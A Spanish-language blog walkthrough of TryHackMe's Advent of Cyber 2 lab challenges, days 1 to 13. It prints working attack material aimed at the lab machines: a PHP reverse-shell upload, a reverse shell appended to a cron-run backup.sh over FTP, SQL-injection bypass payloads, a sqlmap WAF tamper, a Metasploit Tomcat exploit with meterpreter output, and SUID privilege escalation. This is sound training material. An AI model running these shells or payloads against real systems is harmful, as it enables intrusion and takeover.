This page looks best with JavaScript enabled

TryHackMe - Advent of Cyber 2

 •  ✍️ sckull

Advent of Cyber 2 de TryHackMe contiene una serie de retos orientados al aprendizaje de herramientas y conceptos de seguridad, liberados diariamente durante 25 dias.

Informacion

Titulo Advent of Cyber 2
Room Advent of Cyber 2
Info Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.
Maker TryHackMe & cmnatic & DarkStar7471 & JohnHammond & Tib3rius & TCM
URL TryHackMe - AoC2

DAY 1 - Web Exploitation

Presentan una web donde es necesario crear una cuenta y obtener diferentes valores.
image

Primero es necesario crear una cuenta, luego de eso ingresar con las credenciales, y con la herramienta para desarrolladores de firefox obtenemos la cookie y el nombre de la misma.
image

1
auth:7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a22757365726e616d65227d

Utilizando CyberCheff logramos obtener el valor real de la cookie el cual esta codificado en hexadecimal y esta en formato json.

1
{"company":"The Best Festival Company", "username":"username"}

Para poder realizar un “bypass” utilizamos el formato de la cookie y la codificacion utilizada, pasandole como usuario santa y codificandola nuevamente.

1
2
{"company":"The Best Festival Company", "username":"santa"}
7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a2273616e7461227d

Utilizando nuevamente la herramienta para desarrolladores de firefox en la seccion de Storage > Cookies, creamos una nueva cookie con los valores:

1
2
Name: auth
value: 7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a2273616e7461227d

image

Al recargar la pagina nos muestra las opciones pero en esta ocacion podemos activar todas y obtener nuestra flag.
image

DAY 2 - Web Exploitation

Presentan un reto del tipo web donde nos dan un ID para auditar la aplicacion. Además se presenta un mensaje que indica que debemos de pasar el ID al parametro ?id= a la aplicacion

1
2
3
For Elf McEager:
You have been assigned an ID number for your audit of the system: ODIzODI5MTNiYmYw . Use this to gain access to the upload section of the site.
Good luck!

image

Al pasarle el valor (/?id=ODIzODI5MTNiYmYw) nos muestra una pagina nueva que permite seleccionar un archivo ha subir.
image

En el codigo fuente de la pagina se muestra las extensiones aceptadas (.jpeg,.jpg,.png) de los archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<body>
	<ul class="lightrope"><li>[... snip ...]</li></ul>
	<div class=nose></div>
	<main>
		<h1>Protect the Factory!</h1>
		<h2>If you see any suspicious people near the factory, take a picture and upload it here!</h2>
		<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">
		<button tabindex=0 id=coverFile>Select</button>
		<button tabindex=1 id=uploadFile>Submit</button>
		<p id=fileText>No file selected</p>
	</main>
</body>

Al subir una imagen la pagina no muestra ningun mensaje de la direccion donde está almacenada, utilizando la descripcion de File Uploads logramos encontrar la direccion donde se encuentra nuestra imagen.
image

Para obtener nuestra flag creamos un archivo que contiene codigo en PHP para poder ejecutar una shell inversa.

1
2
kali@kali:~/thm/adventcyber2$ cat shell.jpg.php
<?php exec('bash -i >& /dev/tcp/10.10.10.10/1338 0>&1'); ?>

Con netcat a la escucha (rlwrap nc -lvp 1338), subimos nuestro archivo y visitamos el mismo como si fuera un pagina normal, lo cual ejecuto nuestra shell inversa y logramos obtener una shell y nuestra flag.
image

DAY 3 - Web Exploitation

Nos presentan una pagina a la cual hay que realizar un ataque de fuerza bruta utilizando la herramienta Burpsuite tal y como se presenta en la descripcion del reto. Tambien proveen una lista de usuarios y contraseñas.

1
2
3
4
Usuario  Contraseña
root 	root
admin 	password
user 	12345

image

Para realizar el ataque lo hacemos con la extension FoxyProxy o directamente en la configuracion de firefox para dirigir el trafico a Burpsuite mediante su proxy, y con esta herramienta poder manipular los parametros de interes.
image

Primero debemos de enviar un usuario y contraseña, al realizar esto, en burpsuite nos muestra la solicitud a realizar donde vemos los valores enviados. Esta solicitud la enviamos al Intruder donde se muestran las posiciones del usuario y contraseña las cuales son marcadas para poder utilizar y cambiar los diferentes valores de un diccionario en cada solicitud.
image
image

En la ventana de Payloads pegamos para el primer parametro (usuario, payload set = 1) la lista dada o en el caso de que esté en un archivo se carga el mismo. Se configura el segundo parametro (contraseña, payload set = 1 ) y se cargan la lista o archivo, al tener estos valores configurados se lanza el ataque (En caso de que sea la version gratuita de burpsuite solo configurar una posicion e intercambiar el nombre de usuario o contraseña manualmente, al ser una lista pequeña no toma mucho tiempo). Al finalizar se muestra la lista de solicitudes, en una de ellas se muestra un mensaje diferente a los demas, donde indica que se encontró la contraseña.
image

Utilizamos usuario y contraseña encontrado para obtener nuestra flag en la pagina.
image

DAY 4 - Web Exploitation

Este dia presentan un reto web que incluye la explicacion del uso de herramientas WFUZZ y GOBUSTER para realizar fuzzing en paginas web. Tambien presentan que el parametro (date) del reto toma como valor una fecha en el formato YYYYMMDD.
image

Para obtener la flag, primero es necesario ejecutar gobuster a la pagina web con el diccionario big.txt el cual nos muestra como resultado una direccion donde se encuentra una pagina web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
kali@kali:~/thm/adventcyber2$ gobuster dir -u http://10.10.57.57/ -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.57.57/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/12 13:37:27 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/LICENSE (Status: 200)
/api (Status: 301)
/server-status (Status: 403)
===============================================================
2020/12/12 13:50:52 Finished
===============================================================

image

A dicha pagina web es necesario realizar fuzzing al parametro date para ello debemos de utilizar algun diccionario que contenga el formato YYYYMMDD, en este caso utilizamos python para generar nuestro diccionario en el formato presentado especificando año, mes y dia.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/env python

for i in range(1990, 2021):
	for j in range(1,13):
		for k in range(1,32):			
			y = str(i)
			m = '0' + str(j) if j < 10 else str(j)
			d = '0' + str(k) if k < 10 else str(k)			
			
			print(y+m+d)
	i+=1
	j+=1
	k+=1
# python dates.py > dates.txt

Utilizamos WFUZZ para pasarle los valores del diccionario al parametro date y ocultamos todas las solicitudes que tuvieran 0 caracteres (--hh 0), logrando obtener la fecha en donde se presenta nuestra flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
kali@kali:~/thm/adventcyber2$ wfuzz -c -z file,dates.txt --hh 0 http://10.10.57.57/api/site-log.php?date=FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.57.57/api/site-log.php?date=FUZZ
Total requests: 11532

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                     
===================================================================

000011495:   200        0 L      1 W      13 Ch      "20201125"                                                                                                                  

Total time: 419.2043
Processed Requests: 11532
Filtered Requests: 11531
Requests/sec.: 27.50925

image

DAY 5 - Web Exploitation

Se presenta una aplicacion web vulnerable a SQLi de la cual nos dan la “documentacion”:

Santa’s TODO: Look at alternative database systems that are better than sqlite. Also, don’t forget that you installed a Web Application Firewall (WAF) after last year’s attack. In case you’ve forgotten the command, you can tell SQLMap to try and bypass the WAF by using –tamper=space2comment

En la primera tarea preguntan por el panel de logeo, la pista dada es suficiente para obtener la respuesta. En el panel realizamos “bypass” utilizando el payload ' or true; -- en el campo de username.
image

Dentro de la aplicacion enviamos el payload ' ORDER BY 1-- el cual hizo retornar los valores de la base de datos.
image

Utilizando SQLMAP y Burpsuite para obtener los datos de la base de datos tal y como se explica en la descripcion del reto de este dia, tomando en cuenta que la aplicacion cuenta con un WAF utilizamos un tamper para “camuflar” los payloads y como base de datos se especifica que es sqlite como lo indica la “documentacion”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#sqlmap -r santaspanel.txt --dbms=sqlite --tamper=space2comment --dump-all

Database: SQLite_masterdb
Table: users
[1 entry]
+------------------+----------+
| password         | username |
+------------------+----------+
| EhCNSWzzFP6sc7gB | admin    |
+------------------+----------+

Database: SQLite_masterdb
Table: sequels
[22 entries]
+-------------+-----+----------------------------+
| kid         | age | title                      |
+-------------+-----+----------------------------+
| James       | 8   | shoes                      |
| John        | 4   | skateboard                 |
| Robert      | 17  | iphone                     |
| Michael     | 5   | playstation                |
| William     | 6   | xbox                       |
| David       | 6   | candy                      |
| Richard     | 9   | books                      |
| Joseph      | 7   | socks                      |
| Thomas      | 10  | 10 McDonalds meals         |
| Charles     | 3   | toy car                    |
| Christopher | 8   | air hockey table           |
| Daniel      | 12  | lego star wars             |
| Matthew     | 15  | bike                       |
| Anthony     | 3   | table tennis               |
| Donald      | 4   | fazer chocolate            |
| Mark        | 17  | wii                        |
| Paul        | 9   | github ownership           |
| James       | 8   | finnish-english dictionary |
| Steven      | 11  | laptop                     |
| Andrew      | 16  | rasberry pie               |
| Kenneth     | 19  | TryHackMe Sub              |
| Joshua      | 12  | chair                      |
+-------------+-----+----------------------------+

Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag                                    |
+-----------------------------------------+
| thmfox{All_I_Want_for_Christmas_Is_You} |
+-----------------------------------------+

DAY 6 - Web Exploitation

La aplicacion dada es vulnerable a XSS y utilizando OWASP ZAP es posible obtener las diferentes alertas de XSS. Para responder las preguntas de este reto es necesario explotar el campo New Book... y utilizar OWASP ZAP.

1
<script>alert(1)</script>

image
image

DAY 7 - Networking

Se un archivo comprimido con varios archivos de captura de paquetes a los cuales hay que realizar un analisis utilizando wireshark y los filtros descritos y explicados en la descripcion del reto del dia.

  • La IP que realiza ping (archivo: pcap1.pcap).
    image

  • Post Visitado por la ip 10.10.67.199 utilizando el filtro http.request.method == GET, tambien se puede incluir la ip en el filtro http.request.method == GET && ip.src == 10.10.67.199 (archivo: pcap1.pcap).
    image

  • Utilizando el filtro tcp.port==21 para las peticiones en el puerto 21 de FTP y leer la contraseña (archivo: pcap2.pcap).
    image

  • Protocolo encriptado: SSH (archivo: pcap2.pcap).

  • Que hay en la lista de deseos de Elf McSkidy, exportando los archivos (objetos) en el protocolo HTTP (archivo: pcap3.pcap).
    image

DAY 8 - Networking

Se presenta una IP en la cual hay que realizar un escaneo de puertos, sistema operativo y ejecutar scripts con nmap. Tambien una serie de preguntas relacionada a sintaxis e informacion obtenida.

  • Creacion de Snort: Snort

  • Puertos abiertos con un simple scan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#nmap tbfc.blog
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-14 11:07 EST
Nmap scan report for tbfc.blog (10.10.1.235)
Host is up (0.32s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 26.97 seconds
  • Determinar el Sistema operativo: nmap -O tbfc.blog

  • Determinar para que esta oreintada la Aplicacion web con el script http-title: blog.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
kali@kali:~/thm/adventcyber2$ nmap --script http-title -p 80 tbfc.blog
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-14 11:12 EST
Nmap scan report for tbfc.blog (10.10.1.235)
Host is up (0.79s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-title: TBFC&#39;s Internal Blog

Nmap done: 1 IP address (1 host up) scanned in 3.74 seconds

DAY 9 - Networking

Un servicio FTP esta expuesto en la IP del reto en la cual se ingresa como “anonymous”, la descripcion del reto dá suficiente informacion para resolver cada una de las tareas y obtener la flag. En la primera pestaña tenemos la conexion con el servicio donde logramos obtener el archivo backup.sh y shoppinglist.txt, el archivo backup se ejecuta cada cierto tiempo, agregamos una shell inversa y volvimos a subir el archivo en el servicio FTP, con netcat a la escucha logramos obtener una shell y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
kali@kali:~/thm/adventcyber2$ ftp 10.10.99.86
Connected to 10.10.99.86.
220 Welcome to the TBFC FTP Server!.
Name (10.10.99.86:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    6 65534    65534        4096 Nov 16 15:06 .
drwxr-xr-x    6 65534    65534        4096 Nov 16 15:06 ..
drwxr-xr-x    2 0        0            4096 Nov 16 15:04 backups
drwxr-xr-x    2 0        0            4096 Nov 16 15:05 elf_workshops
drwxr-xr-x    2 0        0            4096 Nov 16 15:04 human_resources
drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 .
drwxr-xr-x    6 65534    65534        4096 Nov 16 15:06 ..
-rwxr-xr-x    1 111      113           341 Nov 16 19:34 backup.sh
-rw-rw-rw-    1 111      113            24 Nov 16 19:35 shoppinglist.txt
226 Directory send OK.
ftp> get backup.sh
local: backup.sh remote: backup.sh
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.sh (341 bytes).
226 Transfer complete.
341 bytes received in 0.00 secs (660.7298 kB/s)
ftp> get shoppinglist.txt
local: shoppinglist.txt remote: shoppinglist.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for shoppinglist.txt (24 bytes).
226 Transfer complete.
24 bytes received in 0.00 secs (181.6861 kB/s)
ftp> put backup.sh
local: backup.sh remote: backup.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
383 bytes sent in 0.00 secs (1.6603 MB/s)
ftp> 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kali@kali:~/thm/adventcyber2$ cat backup.sh 
#!/bin/bash

# Created by ElfMcEager to backup all of Santa's goodies!

# Create backups to include date DD/MM/YYYY
filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";

# Backup FTP folder and store in elfmceager's home directory
tar -zcvf /home/elfmceager/$filename /opt/ftp

# TO-DO: Automate transfer of backups to backup server


kali@kali:~/thm/adventcyber2$ cat shoppinglist.txt 
The Polar Express Movie
kali@kali:~/thm/adventcyber2$ echo "bash -i >& /dev/tcp/10.10.10.10/1338 0>&1" >> backup.sh 
kali@kali:~/thm/adventcyber2$ tail backup.sh 
# Create backups to include date DD/MM/YYYY
filename="backup_`date +%d`_`date +%m`_`date +%Y`.tar.gz";

# Backup FTP folder and store in elfmceager's home directory
tar -zcvf /home/elfmceager/$filename /opt/ftp

# TO-DO: Automate transfer of backups to backup server


bash -i >& /dev/tcp/10.10.10.10/1338 0>&1
kali@kali:~/thm/adventcyber2$

image

DAY 10 - Networking

Un servicio SAMBA esta expuesto en la IP del reto, la descripcion del reto dá suficiente informacion para resolver cada una de las tareas con las herramientas enum4linux y smbclient. Se realiza un escaneo con enum4linux para busqueda de nombres de usuarios y SHARENAMES con los cuales verificamos en cual de estos SHARENAMES permite entrar sin ninguna credencial.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
kali@kali:~/thm/adventcyber2$ enum4linux -S -U 10.10.77.26 2>/dev/null
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Dec 14 11:45:44 2020

[... snip ...]

 ========================================== 
|    Getting domain SID for 10.10.77.26    |
 ========================================== 
Domain Name: TBFC-SMB-01
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ============================ 
|    Users on 10.10.77.26    |
 ============================ 
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy Name:   Desc: 
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager Name: elfmceager  Desc: 
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson  Name:   Desc: 

user:[elfmcskidy] rid:[0x3e8]
user:[elfmceager] rid:[0x3ea]
user:[elfmcelferson] rid:[0x3e9]

 ======================================== 
|    Share Enumeration on 10.10.77.26    |
 ======================================== 

  Sharename       Type      Comment
  ---------       ----      -------
  tbfc-hr         Disk      tbfc-hr
  tbfc-it         Disk      tbfc-it
  tbfc-santa      Disk      tbfc-santa
  IPC$            IPC       IPC Service (tbfc-smb server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.77.26
//10.10.77.26/tbfc-hr Mapping: DENIED, Listing: N/A
//10.10.77.26/tbfc-it Mapping: DENIED, Listing: N/A
//10.10.77.26/tbfc-santa  Mapping: OK, Listing: OK
//10.10.77.26/IPC$  [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Dec 14 11:46:32 2020
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
kali@kali:~/thm/adventcyber2$ smbclient \\\\10.10.77.26\\tbfc-hr
Enter WORKGROUP\kali's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED
kali@kali:~/thm/adventcyber2$ smbclient \\\\10.10.77.26\\tbfc-it
Enter WORKGROUP\kali's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED
kali@kali:~/thm/adventcyber2$ smbclient \\\\10.10.77.26\\tbfc-santa
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \> ls 
  .                                   D        0  Wed Nov 11 21:12:07 2020
  ..                                  D        0  Wed Nov 11 20:32:21 2020
  jingle-tunes                        D        0  Wed Nov 11 21:10:41 2020
  note_from_mcskidy.txt               N      143  Wed Nov 11 21:12:07 2020

    10252564 blocks of size 1024. 5368116 blocks available
smb: \> get note_from_mcskidy.txt
getting file \note_from_mcskidy.txt of size 143 as note_from_mcskidy.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> cd jingle-tunes
smb: \jingle-tunes\> ls
  .                                   D        0  Wed Nov 11 21:10:41 2020
  ..                                  D        0  Wed Nov 11 21:12:07 2020

    10252564 blocks of size 1024. 5368116 blocks available
smb: \jingle-tunes\> exit
kali@kali:~/thm/adventcyber2$ cat note_from_mcskidy.txt 
Hi Santa, I decided to put all of your favourite jingles onto this share - allowing you access it from anywhere you like! Regards ~ ElfMcSkidy
kali@kali:~/thm/adventcyber2$

DAY 11 - Networking

Se presenta una maquina en la cual tenemos acceso y es necesario escalar privilegios utilizando los “comandos/guias” de GTFObins. Con la informacion descrita en el reto del dia es suficiente para resolver las tareas y obtener la flag. Enumeracion de archivos con permisos SUID.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-bash-4.4$ find / -perm -4000 2> /dev/null | xargs ls -lah
-rwsr-xr-x 1 root   root            1.1M Jun  6  2019 /bin/bash
-rwsr-xr-x 1 root   root             31K Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root   root             43K Sep 16 18:43 /bin/mount
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /bin/su
-rwsr-xr-x 1 root   root             27K Sep 16 18:43 /bin/umount
... snap stuff - snip ...
-rwsr-sr-x 1 daemon daemon           51K Feb 20  2018 /usr/bin/at
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /usr/bin/chfn
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             37K Mar 22  2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /usr/bin/newgrp
-rwsr-xr-x 1 root   root             37K Mar 22  2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /usr/bin/passwd
-rwsr-xr-x 1 root   root             22K Mar 27  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root   root            146K Jan 31  2020 /usr/bin/sudo
-rwsr-xr-x 1 root   root             19K Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-- 1 root   messagebus       42K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root             10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             14K Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root            111K Jul 10 14:00 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root             99K Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-bash-4.4$

Utilizamos bash para obtener una shell root y la flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
-bash-4.4$ /bin/bash -p
bash-4.4# cd
bash-4.4# whoami; pwd
root
/home/cmnatic
bash-4.4# cd /root
bash-4.4# ls
flag.txt
bash-4.4# cat flag.txt
thm{2fb1[... snip ...]592}
bash-4.4#

DAY 12 - Networking

Se presenta una maquina vulnerable a ShellShock attack utilizando metasploit y la informacion descrita en el reto del dia es posible resolver las tareas y obtener la flag.

Configuracion de metasploit con el exploit windows/http/tomcat_cgi_cmdlineargs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > show options 

Module options (exploit/windows/http/tomcat_cgi_cmdlineargs):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.92.152     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The URI path to CGI script
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.2.29.162      yes       The listen address (an interface may be specified)
   LPORT     1338             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache Tomcat 9.0 or prior for Windows


msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set TARGETURI /cgi-bin/elfwhacker.bat
TARGETURI => /cgi-bin/elfwhacker.bat
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run

[*] Started reverse TCP handler on 10.2.29.162:1338 
[*] Checking if 10.10.92.152 is vulnerable
[*] 10.10.92.152 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Sending stage (176195 bytes) to 10.10.92.152
[*] Meterpreter session 1 opened (10.2.29.162:1338 -> 10.10.92.152:49815) at 2020-12-14 12:36:58 -0500
meterpreter > search -f flag1.txt

Found 1 result...
    c:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin\flag1.txt (27 bytes)
meterpreter > 
meterpreter > shell
Process 2744 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>dir         
dir
 Volume in drive C has no label.
 Volume Serial Number is 4277-4242

 Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin

14/12/2020  23:37    <DIR>          .
14/12/2020  23:37    <DIR>          ..
14/12/2020  23:37            73,802 DXKwV.exe
19/11/2020  21:39               825 elfwhacker.bat
19/11/2020  22:06                27 flag1.txt
               3 File(s)         74,654 bytes
               2 Dir(s)   6,550,839,296 bytes free

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>type flag1.txt
type flag1.txt
thm{whacking[... snip ...]elves}
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>

Utilizando local_exploit_suggester para listar los exploits para la maquina que puedan ser utiles para escalar privilegios.

1
2
3
4
5
6
7
meterpreter > run post/multi/recon/local_exploit_suggester 

[*] 10.10.92.152 - Collecting local exploits for x86/windows...
[*] 10.10.92.152 - 30 exploit checks are being tried...
[+] 10.10.92.152 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.92.152 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
meterpreter >

Aunque el usuario actual al parecer ya pertenece al grupo de Administradores.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>whoami
whoami
tbfc-web-01\elfmcskidy

C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>net user elfmcskidy
net user elfmcskidy
User name                    elfmcskidy
Full Name                    elfmcskidy
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            19/11/2020 13:16:41
Password expires             Never
Password changeable          19/11/2020 13:16:41
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   14/12/2020 23:21:08

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users                
Global Group memberships     *None                 

DAY 13 - Coal for Christmas

Con la maquina dada se realiza las siguientes tareas con la ayuda de la descripcion de cada una:

  • Port Scanning
  • Initial Access
  • Enumeration
  • Privilege Escalation

PORT SCANNING - NMAP

Se realiza un escaneo de puertos donde encontramos los puertos ssh (22), telnet (23) y rpcbind (111).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-14 13:23 EST
Nmap scan report for 10.10.155.23 (10.10.155.23)
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
23/tcp  open  telnet
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 52.89 seconds

INITIAL ACCESS - TELNET

A traves del puerto 23 de telnet realizamos la conexion donde se presentan unas credenciales con las cuales se logró obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kali@kali:~/thm/adventcyber2$ telnet 10.10.155.23 23
Trying 10.10.155.23...
Connected to 10.10.155.23.
Escape character is '^]'.
HI SANTA!!! 

We knew you were coming and we wanted to make
it easy to drop off presents, so we created
an account for you to use.

Username: santa
Password: clauschristmas

We left you cookies and milk!

christmas login: santa
Password: 
Last login: Sat Nov 21 20:37:37 UTC 2020 from 10.0.2.2 on pts/2
                \ / 
              -->*<-- 
                /o\ 
               /_\_\ 
              /_/_0_\ 
             /_o_\_\_\ 
            /_/_/_/_/o\ 
           /@\_\_\@\_\_\ 
          /_/_/O/_/_/_/_\ 
         /_\_\_\_\_\o\_\_\ 
        /_/0/_/_/_0_/_/@/_\ 
       /_\_\_\_\_\_\_\_\_\_\ 
      /_/o/_/_/@/_/_/o/_/0/_\ 
               [___] 
   
$ whoami; pwd
santa
/home/santa
$ 

ENUMERATION

Version del sistema operativo Ubuntu 12.04.

1
2
3
4
5
6
7
8
$ uname -a
Linux christmas 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04 LTS"
$ 

